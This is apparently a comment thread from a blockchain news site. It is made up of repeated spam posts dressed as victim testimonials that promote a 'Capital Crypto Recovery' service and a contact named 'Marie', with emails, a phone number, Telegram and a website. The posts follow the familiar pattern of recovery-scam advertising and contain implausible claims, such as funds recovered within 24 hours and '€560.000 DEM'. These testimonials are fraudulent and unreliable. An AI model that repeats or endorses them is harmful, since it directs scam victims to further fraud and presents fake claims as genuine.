Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon